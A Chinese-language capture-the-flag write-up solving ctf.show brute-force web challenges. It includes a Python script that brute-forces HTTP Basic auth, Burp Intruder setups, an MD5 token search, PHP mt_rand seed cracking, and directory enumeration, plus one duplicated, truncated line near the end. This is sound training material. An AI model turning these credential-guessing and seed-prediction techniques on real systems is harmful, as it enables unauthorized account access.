先下载提供的密码包,查看hint得知考点为tomcat
账号提示为amdin,点击提交并使用burpsuit抓包
发现底下为一串经过base64编码的文字,翻译后得知为admin:
得知提交格式为:账号:密码
传入intruder,选中并添加$
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-xsSzs95u-1606660930041)(C:/Users/%E8%83%A1%E5%A5%87/AppData/Roaming/Typora/typora-user-images/image-20201121113538263.png)]
设置payloads,设置payload sets为custom iterator,并在position1中添加admin:
设置position 2 为我们下载的密码包
在payload processing中添加encode为base64并取消选择payload encoding的URL-encode
点击上方intruder,开始爆破
跑完进行length排序,选择234查看response得到flag
同时hint提供了一个脚本,代码如下
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-11-20 19:16:49
# @Last Modified by: h1xa
# @Last Modified time: 2020-11-20 20:28:42
# @email: [email protected]
# @link: https://ctfer.com
import time
import requests
import base64
url = 'http://41a801fe-a420-47bc-8593-65c3f26b7efa.chall.ctf.show/index.php'
password = []
with open("1.txt", "r") as f:
while True:
data = f.readline()
if data:
password.append(data)
else:
break
for p in password:
strs = 'admin:'+ p[:-1]
header={
'Authorization':'Basic {}'.format(base64.b64encode(strs.encode('utf-8')).decode('utf-8'))
}
rep =requests.get(url,headers=header)
time.sleep(0.2)
if rep.status_code ==200:
print(rep.text)
break
flag:flag{b829f0dc-9f87-4a91-94e2-36c5cc7d58ee}
提示:域名也可以爆破的,试试爆破这个ctfer.com 的子域名
使用在线或者离线的子域名挖掘,爆破无果,查看hint得知访问http://flag.ctfer.com/index.php得到flag
flag:flag{ctf_show_web}
根据代码编写脚本
import hashlib
dic = "0123456789qazwsxedcrfvtgbyhnujmikolp"
for a in dic:
for b in dic:
t = (str(a)+str(b)).encode("utf-8")
md5 = hashlib.md5(t).hexdigest()
if md5[1:2] == md5[14:15] and md5[14:15]== md5[17:18]:
if int(md5[1:2])+int(md5[14:15])+int(md5[17:18])/int(md5[1:2])==int(md5[31:32]):
print(t)
运行后得到3j,在url后加上?token=3j得到flag
flag:flag{8c6583b6-cd2f-4858-8eec-bfb070a40a1e}
知识点:从 PHP 4.2.0 开始,随机数生成器自动播种,因此没有必要使用该函数 因此不需要播种,并且如果设置了 seed参数 生成的随机数就是伪随机数,每次生成的随机数 是一样的
编写php脚本
mt_srand(372619038);
echo mt_rand();
?>
运行得到1155388967
通过get传参得到flag
flag:flag{e4b97404-95cb-469c-92be-b2a129903d42}
分析代码后得知与web24一样同样存在伪随机漏洞
先构造r=0得到第一个随机值:928156507(每个人可能不一样)
从https://github.com/lepiaf/php_mt_seed下载文件按照提示进行编译运行得到该随机值的可能seed
在使用php脚本得到第二三次随机值之和
mt_srand(4059711086);
echo mt_rand()."
";
echo mt_rand()+mt_rand()."
";
?>
使用burpsuit抓包,添加cookie值,发送得到flag
flag:flag{e72a7420-2c51-4726-800c-af6045f2b780}
提示这个可以爆破
抓包,对密码进行爆破,使用之前给的字典后得到密码为7758521
非预期解:
先查看源代码发现一个check函数
function check(){
$.ajax({
url:'checkdb.php',
type: 'POST',
dataType:'json',
data:{
'a':$('#a').val(),
'p':$('#p').val(),
'd':$('#d').val(),
'u':$('#u').val(),
'pass':$('#pass').val()
},
success:function(data){
alert(data['msg']);
},
error:function(data){
alert(data['msg']);
}
});
}
使用burpsuit抓包,修改,发送得到flag
flag:flag{8b483c82-e442-412c-8c13-9124ae38cd0b}
打开发现录取名单可以下载
发现身份证号缺失一些,盲猜要爆破
发现学生学籍信息查询系统,打开发现需要姓名身份证,使用burpsuit抓包进行爆破
后面发现好像环境有点问题,以后有空再写
打开发现where is flag?
看了看地址发现/0/1/2.txt,猜测爆破目录,查看hint果然如此
使用burpsuit抓包,修改type为Cluster Bomb,删除2.txt
payload type选择number范围从0-100,步长1
等了亿会会得到了结果ber范围从0-100,步长1
等了亿会会得到了结果flag:flag{9e7c7af3-bf98-49a4-a217-7fe85cbcc29e}